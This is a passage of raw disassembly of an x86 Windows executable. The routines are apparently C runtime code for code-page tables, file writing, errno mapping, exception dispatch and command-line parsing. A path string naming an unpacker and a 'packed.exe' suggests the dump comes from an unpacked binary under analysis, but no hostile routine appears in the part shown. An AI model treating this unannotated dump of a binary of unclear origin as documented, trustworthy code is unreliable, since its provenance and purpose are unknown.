loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EAA8: ; CODE XREF: sub_41E92D+51j cmp dword_48A0C4, ebx jz short loc_41EABE loc_41EAB0: ; CODE XREF: sub_41E92D+27j call sub_41EB43 loc_41EAB5: ; CODE XREF: sub_41E92D+131j ; sub_41E92D+179j call sub_41EB6C loc_41EABA: ; CODE XREF: sub_41E92D+1Dj xor eax, eax jmp short loc_41EAC1 ; --------------------------------------------------------------------------- loc_41EABE: ; CODE XREF: sub_41E92D+181j or eax, 0FFFFFFFFh loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj pop edi pop esi pop ebx leave retn sub_41E92D endp ; =============== S U B R O U T I N E ======================================= sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_48A0C4, 0 cmp eax, 0FFFFFFFEh jnz short loc_41EAE6 mov dword_48A0C4, 1 nop jmp near ptr 25E02D3h ; --------------------------------------------------------------------------- loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41EAFB mov dword_48A0C4, 1 nop jmp near ptr 28618EEh ; --------------------------------------------------------------------------- loc_41EAFB: ; CODE XREF: sub_41EAC6+23j cmp eax, 0FFFFFFFCh jnz short locret_41EB0F mov eax, dword_48A0B8 mov dword_48A0C4, 1 locret_41EB0F: ; CODE XREF: sub_41EAC6+38j retn sub_41EAC6 endp ; =============== S U B R O U T I N E ======================================= sub_41EB10 proc near ; CODE XREF: sub_41E92D+118p ; sub_41E92D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41EB3D sub eax, 4 jz short loc_41EB37 sub eax, 0Dh jz short loc_41EB31 dec eax jz short loc_41EB2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41EB2B: ; CODE XREF: sub_41EB10+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41EB31: ; CODE XREF: sub_41EB10+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41EB37: ; CODE XREF: sub_41EB10+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41EB3D: ; CODE XREF: sub_41EB10+9j mov eax, 411h retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_48B560 rep stosd stosb xor eax, eax mov edi, offset dword_48B450 mov dword_48B444, eax mov dword_48B45C, eax mov dword_48B664, eax stosd stosd stosd pop edi retn sub_41EB43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_48B444 nop call near ptr 2861185h cmp eax, 1 jnz loc_41ECA5 xor eax, eax mov esi, 100h loc_41EB96: ; CODE XREF: sub_41EB6C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41EB96 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41EBE7 push ebx push edi lea edx, [ebp+var_D] loc_41EBB5: ; CODE XREF: sub_41EB6C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41EBDC sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41EBDC: ; CODE XREF: sub_41EB6C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41EBB5 pop edi pop ebx loc_41EBE7: ; CODE XREF: sub_41EB6C+42j push 0 lea eax, [ebp+var_514] push dword_48B664 push dword_48B444 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41FB63 push 0 lea eax, [ebp+var_214] push dword_48B444 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_48B664 call sub_41E709 push 0 lea eax, [ebp+var_314] push dword_48B444 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_48B664 call sub_41E709 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41EC62: ; CODE XREF: sub_41EB6C+135j mov dx, [ecx] test dl, 1 jz short loc_41EC80 or byte_48B561[eax], 10h mov dl, [ebp+eax+var_214] loc_41EC78: ; CODE XREF: sub_41EB6C+127j mov byte_48B460[eax], dl jmp short loc_41EC9C ; --------------------------------------------------------------------------- loc_41EC80: ; CODE XREF: sub_41EB6C+FCj test dl, 2 jz short loc_41EC95 or byte_48B561[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41EC78 ; --------------------------------------------------------------------------- loc_41EC95: ; CODE XREF: sub_41EB6C+117j and byte_48B460[eax], 0 loc_41EC9C: ; CODE XREF: sub_41EB6C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41EC62 jmp short loc_41ECEE ; --------------------------------------------------------------------------- loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj xor eax, eax mov esi, 100h loc_41ECAC: ; CODE XREF: sub_41EB6C+180j cmp eax, 41h jb short loc_41ECCA cmp eax, 5Ah ja short loc_41ECCA or byte_48B561[eax], 10h mov cl, al add cl, 20h loc_41ECC2: ; CODE XREF: sub_41EB6C+174j mov byte_48B460[eax], cl jmp short loc_41ECE9 ; --------------------------------------------------------------------------- loc_41ECCA: ; CODE XREF: sub_41EB6C+143j ; sub_41EB6C+148j cmp eax, 61h jb short loc_41ECE2 cmp eax, 7Ah ja short loc_41ECE2 or byte_48B561[eax], 20h mov cl, al sub cl, 20h jmp short loc_41ECC2 ; --------------------------------------------------------------------------- loc_41ECE2: ; CODE XREF: sub_41EB6C+161j ; sub_41EB6C+166j and byte_48B460[eax], 0 loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj inc eax cmp eax, esi jb short loc_41ECAC loc_41ECEE: ; CODE XREF: sub_41EB6C+137j pop esi leave retn sub_41EB6C endp ; =============== S U B R O U T I N E ======================================= sub_41ECF1 proc near ; CODE XREF: ___:0041F138p ; ___:0041F194p ... cmp dword_48B694, 0 jnz short locret_41ED0C push 0FFFFFFFDh call sub_41E92D pop ecx mov dword_48B694, 1 locret_41ED0C: ; CODE XREF: sub_41ECF1+7j retn sub_41ECF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp ; sub_4192B8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_48B45C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41ED31 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_418C10 add esp, 0Ch jmp short loc_41ED94 ; --------------------------------------------------------------------------- loc_41ED31: ; CODE XREF: sub_41ED0D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41ED76 mov ecx, [ebp+arg_4] loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj mov al, [ecx] dec edx movzx esi, al test byte_48B561[esi], 4 mov [edi], al jz short loc_41ED60 inc edi inc ecx test edx, edx jz short loc_41ED6C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41ED72 jmp short loc_41ED66 ; --------------------------------------------------------------------------- loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej inc edi inc ecx test al, al jz short loc_41ED76 loc_41ED66: ; CODE XREF: sub_41ED0D+51j test edx, edx jnz short loc_41ED3C jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED6C: ; CODE XREF: sub_41ED0D+44j and byte ptr [edi-1], 0 jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj and byte ptr [edi-2], 0 loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj ; sub_41ED0D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41ED91 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj mov eax, [ebp+arg_0] loc_41ED94: ; CODE XREF: sub_41ED0D+22j pop edi pop ebp retn sub_41ED0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p ; sub_419D23+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_48B440 push esi push edi jnb loc_41EF2B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41EF2B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41EDE8 loc_41EDE1: ; CODE XREF: sub_41ED97+177j xor eax, eax jmp loc_41EF3F ; --------------------------------------------------------------------------- loc_41EDE8: ; CODE XREF: sub_41ED97+48j test al, 20h jz short loc_41EDF8 push 2 push edi push ecx call sub_41E517 add esp, 0Ch loc_41EDF8: ; CODE XREF: sub_41ED97+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41EEC7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41EEFF loc_41EE18: ; CODE XREF: sub_41ED97+F5j lea eax, [ebp+var_414] loc_41EE1E: ; CODE XREF: sub_41ED97+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41EE52 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41EE3D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41EE1E loc_41EE52: ; CODE XREF: sub_41ED97+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2620000h nop test eax, eax jz short loc_41EEBC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41EE8E mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41EE18 loc_41EE8E: ; CODE XREF: sub_41ED97+EAj ; sub_41ED97+12Ej xor edi, edi loc_41EE90: ; CODE XREF: sub_41ED97+150j ; sub_41ED97+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41EF26 cmp [ebp+arg_0], edi jz short loc_41EEFF push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41EEF4 mov dword_48A014, 9 mov dword_48A018, eax jmp loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEBC: ; CODE XREF: sub_41ED97+E0j nop call near ptr 2630313h mov [ebp+arg_0], eax jmp short loc_41EE8E ; --------------------------------------------------------------------------- loc_41EEC7: ; CODE XREF: sub_41ED97+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2620000h test eax, eax jz short loc_41EEE9 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEE9: ; CODE XREF: sub_41ED97+145j call near ptr 2630313h nop mov [ebp+arg_0], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj push [ebp+arg_0] call sub_41EF44 pop ecx jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj ; sub_41ED97+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41EF14 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41EDE1 loc_41EF14: ; CODE XREF: sub_41ED97+16Fj mov dword_48A014, 1Ch mov dword_48A018, edi jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EF26: ; CODE XREF: sub_41ED97+FEj sub eax, [ebp+var_10] jmp short loc_41EF3F ; --------------------------------------------------------------------------- loc_41EF2B: ; CODE XREF: sub_41ED97+15j ; sub_41ED97+37j and dword_48A018, 0 mov dword_48A014, 9 loc_41EF3C: ; CODE XREF: sub_41ED97+120j ; sub_41ED97+166j ... or eax, 0FFFFFFFFh loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj ; sub_41ED97+192j pop edi pop esi pop ebx leave retn sub_41ED97 endp ; =============== S U B R O U T I N E ======================================= sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p ; sub_419BBA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_48A018, ecx mov eax, offset dword_43BA30 loc_41EF55: ; CODE XREF: sub_41EF44+1Ej cmp ecx, [eax] jz short loc_41EF79 add eax, 8 inc edx cmp eax, offset dword_43BB98 jl short loc_41EF55 cmp ecx, 13h jb short loc_41EF86 cmp ecx, 24h ja short loc_41EF86 mov dword_48A014, 0Dh retn ; --------------------------------------------------------------------------- loc_41EF79: ; CODE XREF: sub_41EF44+13j mov eax, dword_43BA34[edx*8] mov dword_48A014, eax retn ; --------------------------------------------------------------------------- loc_41EF86: ; CODE XREF: sub_41EF44+23j ; sub_41EF44+28j cmp ecx, 0BCh jb short loc_41EFA0 cmp ecx, 0CAh mov dword_48A014, 8 jbe short locret_41EFAA loc_41EFA0: ; CODE XREF: sub_41EF44+48j mov dword_48A014, 16h locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj retn sub_41EF44 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_41F0EC test eax, eax pop ecx jz loc_41F0E0 mov ebx, [eax+8] test ebx, ebx jz loc_41F0E0 cmp ebx, 5 jnz short loc_41EFDC and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41F0E9 ; --------------------------------------------------------------------------- loc_41EFDC: ; CODE XREF: ___:0041EFCEj cmp ebx, 1 jz loc_41F0DB mov ecx, dword_48A0C8 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_48A0C8, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41F0CB mov ecx, dword_43BC10 mov edx, dword_43BC14 add edx, ecx push esi cmp ecx, edx jge short loc_41F02B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43BBA0h[esi*4] loc_41F022: ; CODE XREF: ___:0041F029j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41F022 loc_41F02B: ; CODE XREF: ___:0041F014j mov eax, [eax] mov esi, dword_43BC1C cmp eax, 0C000008Eh jnz short loc_41F046 mov dword_43BC1C, 83h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F046: ; CODE XREF: ___:0041F038j cmp eax, 0C0000090h jnz short loc_41F059 mov dword_43BC1C, 81h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F059: ; CODE XREF: ___:0041F04Bj cmp eax, 0C0000091h jnz short loc_41F06C mov dword_43BC1C, 84h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F06C: ; CODE XREF: ___:0041F05Ej cmp eax, 0C0000093h jnz short loc_41F07F mov dword_43BC1C, 85h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F07F: ; CODE XREF: ___:0041F071j cmp eax, 0C000008Dh jnz short loc_41F092 mov dword_43BC1C, 82h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F092: ; CODE XREF: ___:0041F084j cmp eax, 0C000008Fh jnz short loc_41F0A5 mov dword_43BC1C, 86h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F0A5: ; CODE XREF: ___:0041F097j cmp eax, 0C0000092h jnz short loc_41F0B6 mov dword_43BC1C, 8Ah loc_41F0B6: ; CODE XREF: ___:0041F044j ; ___:0041F057j ... push dword_43BC1C push 8 call ebx pop ecx mov dword_43BC1C, esi pop ecx pop esi jmp short loc_41F0D3 ; --------------------------------------------------------------------------- loc_41F0CB: ; CODE XREF: ___:0041EFFDj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41F0D3: ; CODE XREF: ___:0041F0C9j mov eax, [ebp+8] mov dword_48A0C8, eax loc_41F0DB: ; CODE XREF: ___:0041EFDFj or eax, 0FFFFFFFFh jmp short loc_41F0E9 ; --------------------------------------------------------------------------- loc_41F0E0: ; CODE XREF: ___:0041EFBAj ; ___:0041EFC5j push dword ptr [ebp+0Ch] nop call near ptr 25E0180h loc_41F0E9: ; CODE XREF: ___:0041EFD7j ; ___:0041F0DEj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_41F0EC proc near ; CODE XREF: ___:0041EFB2p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43BC18 cmp dword_43BB98, edx push esi mov eax, offset dword_43BB98 jz short loc_41F119 lea esi, [ecx+ecx*2] lea esi, ds:43BB98h[esi*4] loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41F119 cmp [eax], edx jnz short loc_41F10E loc_41F119: ; CODE XREF: sub_41F0EC+16j ; sub_41F0EC+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43BB98h[ecx*4] cmp eax, ecx jnb short loc_41F12C cmp [eax], edx jz short locret_41F12E loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj xor eax, eax locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej retn sub_41F0EC endp ; --------------------------------------------------------------------------- cmp dword_48B694, 0 jnz short loc_41F13D call sub_41ECF1 loc_41F13D: ; CODE XREF: ___:0041F136j push esi mov esi, dword_48B68C mov al, [esi] cmp al, 22h jnz short loc_41F16F loc_41F14A: ; CODE XREF: ___:0041F162j ; ___:0041F165j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41F167 test al, al jz short loc_41F167 movzx eax, al push eax call sub_42101D test eax, eax pop ecx jz short loc_41F14A inc esi jmp short loc_41F14A ; --------------------------------------------------------------------------- loc_41F167: ; CODE XREF: ___:0041F150j ; ___:0041F154j cmp byte ptr [esi], 22h jnz short loc_41F179 loc_41F16C: ; CODE XREF: ___:0041F181j inc esi jmp short loc_41F179 ; --------------------------------------------------------------------------- loc_41F16F: ; CODE XREF: ___:0041F148j cmp al, 20h jbe short loc_41F179 loc_41F173: ; CODE XREF: ___:0041F177j inc esi cmp byte ptr [esi], 20h ja short loc_41F173 loc_41F179: ; CODE XREF: ___:0041F16Aj ; ___:0041F16Dj ... mov al, [esi] test al, al jz short loc_41F183 cmp al, 20h jbe short loc_41F16C loc_41F183: ; CODE XREF: ___:0041F17Dj mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_48B694, ebx push esi push edi jnz short loc_41F199 call sub_41ECF1 loc_41F199: ; CODE XREF: ___:0041F192j mov esi, dword_48A060 xor edi, edi loc_41F1A1: ; CODE XREF: ___:0041F1B7j mov al, [esi] cmp al, bl jz short loc_41F1B9 cmp al, 3Dh jz short loc_41F1AC inc edi loc_41F1AC: ; CODE XREF: ___:0041F1A9j push esi call sub_417AB0 pop ecx lea esi, [esi+eax+1] jmp short loc_41F1A1 ; --------------------------------------------------------------------------- loc_41F1B9: ; CODE XREF: ___:0041F1A5j lea eax, ds:4[edi*4] push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov dword_48A03C, esi jnz short loc_41F1DB push 9 call sub_419CDA pop ecx loc_41F1DB: ; CODE XREF: ___:0041F1D1j mov edi, dword_48A060 cmp [edi], bl jz short loc_41F21E push ebp loc_41F1E6: ; CODE XREF: ___:0041F21Bj push edi call sub_417AB0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41F217 push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41F20A push 9 call sub_419CDA pop ecx loc_41F20A: ; CODE XREF: ___:0041F200j push edi push dword ptr [esi] call sub_4179C0 pop ecx add esi, 4 pop ecx loc_41F217: ; CODE XREF: ___:0041F1F3j add edi, ebp cmp [edi], bl jnz short loc_41F1E6 pop ebp loc_41F21E: ; CODE XREF: ___:0041F1E3j push dword_48A060 call sub_417C3B pop ecx mov dword_48A060, ebx mov [esi], ebx pop edi pop esi mov dword_48B690, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_48B694, ebx push esi push edi jnz short loc_41F257 call sub_41ECF1 loc_41F257: ; CODE XREF: ___:0041F250j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2640000h nop mov eax, dword_48B68C mov off_48A04C, esi mov edi, esi cmp [eax], bl jz short loc_41F27C mov edi, eax loc_41F27C: ; CODE XREF: ___:0041F278j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_41F2D9 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_417B89 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41F2AC push 8 call sub_419CDA pop ecx loc_41F2AC: ; CODE XREF: ___:0041F2A2j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41F2D9 mov eax, [ebp-4] add esp, 14h dec eax mov dword_48A034, esi pop edi pop esi mov dword_48A030, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D9 proc near ; CODE XREF: ___:0041F287p ; ___:0041F2BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41F303 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F303: ; CODE XREF: sub_41F2D9+20j cmp byte ptr [eax], 22h jnz short loc_41F34C loc_41F308: ; CODE XREF: sub_41F2D9+58j ; sub_41F2D9+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41F33A test dl, dl jz short loc_41F33A movzx edx, dl test byte_48B561[edx], 4 jz short loc_41F32D inc dword ptr [ecx] test esi, esi jz short loc_41F32D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41F32D: ; CODE XREF: sub_41F2D9+46j ; sub_41F2D9+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41F308 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F308 ; --------------------------------------------------------------------------- loc_41F33A: ; CODE XREF: sub_41F2D9+36j ; sub_41F2D9+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41F344 and byte ptr [esi], 0 inc esi loc_41F344: ; CODE XREF: sub_41F2D9+65j cmp byte ptr [eax], 22h jnz short loc_41F38F inc eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj ; sub_41F2D9+A5j inc dword ptr [ecx] test esi, esi jz short loc_41F357 mov dl, [eax] mov [esi], dl inc esi loc_41F357: ; CODE XREF: sub_41F2D9+77j mov dl, [eax] inc eax movzx ebx, dl test byte_48B561[ebx], 4 jz short loc_41F372 inc dword ptr [ecx] test esi, esi jz short loc_41F371 mov bl, [eax] mov [esi], bl inc esi loc_41F371: ; CODE XREF: sub_41F2D9+91j inc eax loc_41F372: ; CODE XREF: sub_41F2D9+8Bj cmp dl, 20h jz short loc_41F380 test dl, dl jz short loc_41F384 cmp dl, 9 jnz short loc_41F34C loc_41F380: ; CODE XREF: sub_41F2D9+9Cj test dl, dl jnz short loc_41F387 loc_41F384: ; CODE XREF: sub_41F2D9+A0j dec eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F2D9+A9j test esi, esi jz short loc_41F38F and byte ptr [esi-1], 0 loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej ; sub_41F2D9+71j ... and [ebp+arg_10], 0 loc_41F393: ; CODE XREF: sub_41F2D9+19Ej cmp byte ptr [eax], 0 jz loc_41F47C loc_41F39C: ; CODE XREF: sub_41F2D9+D0j mov dl, [eax] cmp dl, 20h jz short loc_41F3A8 cmp dl, 9 jnz short loc_41F3AB loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j inc eax jmp short loc_41F39C ; --------------------------------------------------------------------------- loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj cmp byte ptr [eax], 0 jz loc_41F47C test edi, edi jz short loc_41F3C0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj cmp byte ptr [eax], 5Ch jnz short loc_41F3D7 inc eax inc ebx jmp short loc_41F3CE ; --------------------------------------------------------------------------- loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j cmp byte ptr [eax], 22h jnz short loc_41F408 test bl, 1 jnz short loc_41F406 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41F3F5 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41F3F5 mov eax, edx jmp short loc_41F3F8 ; --------------------------------------------------------------------------- loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj ; sub_41F2D9+116j mov [ebp+arg_0], edi loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41F406: ; CODE XREF: sub_41F2D9+106j shr ebx, 1 loc_41F408: ; CODE XREF: sub_41F2D9+101j mov edx, ebx dec ebx test edx, edx jz short loc_41F41D inc ebx loc_41F410: ; CODE XREF: sub_41F2D9+142j test esi, esi jz short loc_41F418 mov byte ptr [esi], 5Ch inc esi loc_41F418: ; CODE XREF: sub_41F2D9+139j inc dword ptr [ecx] dec ebx jnz short loc_41F410 loc_41F41D: ; CODE XREF: sub_41F2D9+134j mov dl, [eax] test dl, dl jz short loc_41F46D cmp [ebp+arg_10], 0 jnz short loc_41F433 cmp dl, 20h jz short loc_41F46D cmp dl, 9 jz short loc_41F46D loc_41F433: ; CODE XREF: sub_41F2D9+14Ej cmp [ebp+arg_0], 0 jz short loc_41F467 test esi, esi jz short loc_41F456 movzx ebx, dl test byte_48B561[ebx], 4 jz short loc_41F44F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F465 ; --------------------------------------------------------------------------- loc_41F456: ; CODE XREF: sub_41F2D9+162j movzx edx, dl test byte_48B561[edx], 4 jz short loc_41F465 inc eax inc dword ptr [ecx] loc_41F465: ; CODE XREF: sub_41F2D9+17Bj ; sub_41F2D9+187j inc dword ptr [ecx] loc_41F467: ; CODE XREF: sub_41F2D9+15Ej inc eax jmp loc_41F3C5 ; --------------------------------------------------------------------------- loc_41F46D: ; CODE XREF: sub_41F2D9+148j ; sub_41F2D9+153j ... test esi, esi jz short loc_41F475 and byte ptr [esi], 0 inc esi loc_41F475: ; CODE XREF: sub_41F2D9+196j inc dword ptr [ecx] jmp loc_41F393 ; --------------------------------------------------------------------------- loc_41F47C: ; CODE XREF: sub_41F2D9+BDj ; sub_41F2D9+D5j test edi, edi jz short loc_41F483 and dword ptr [edi], 0 loc_41F483: ; CODE XREF: sub_41F2D9+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41F2D9 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_48A1D0 push ebx push ebp mov ebp, dword_42403C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41F4DB call ebp mov esi, eax cmp esi, ebx jz short loc_41F4BC mov dword_48A1D0, 1 jmp short loc_41F4E4 ; --------------------------------------------------------------------------- loc_41F4BC: ; CODE XREF: ___:0041F4AEj nop call near ptr 25D0B38h mov edi, eax cmp edi, ebx jz loc_41F5B6 mov dword_48A1D0, 2 jmp loc_41F56A ; --------------------------------------------------------------------------- loc_41F4DB: ; CODE XREF: ___:0041F4A6j cmp eax, 1 jnz loc_41F565 loc_41F4E4: ; CODE XREF: ___:0041F4BAj cmp esi, ebx jnz short loc_41F4F4 call ebp mov esi, eax cmp esi, ebx jz loc_41F5B6 loc_41F4F4: ; CODE XREF: ___:0041F4E6j cmp [esi], bx mov eax, esi jz short loc_41F509 loc_41F4FB: ; CODE XREF: ___:0041F500j ; ___:0041F507j inc eax inc eax cmp [eax], bx jnz short loc_41F4FB inc eax inc eax cmp 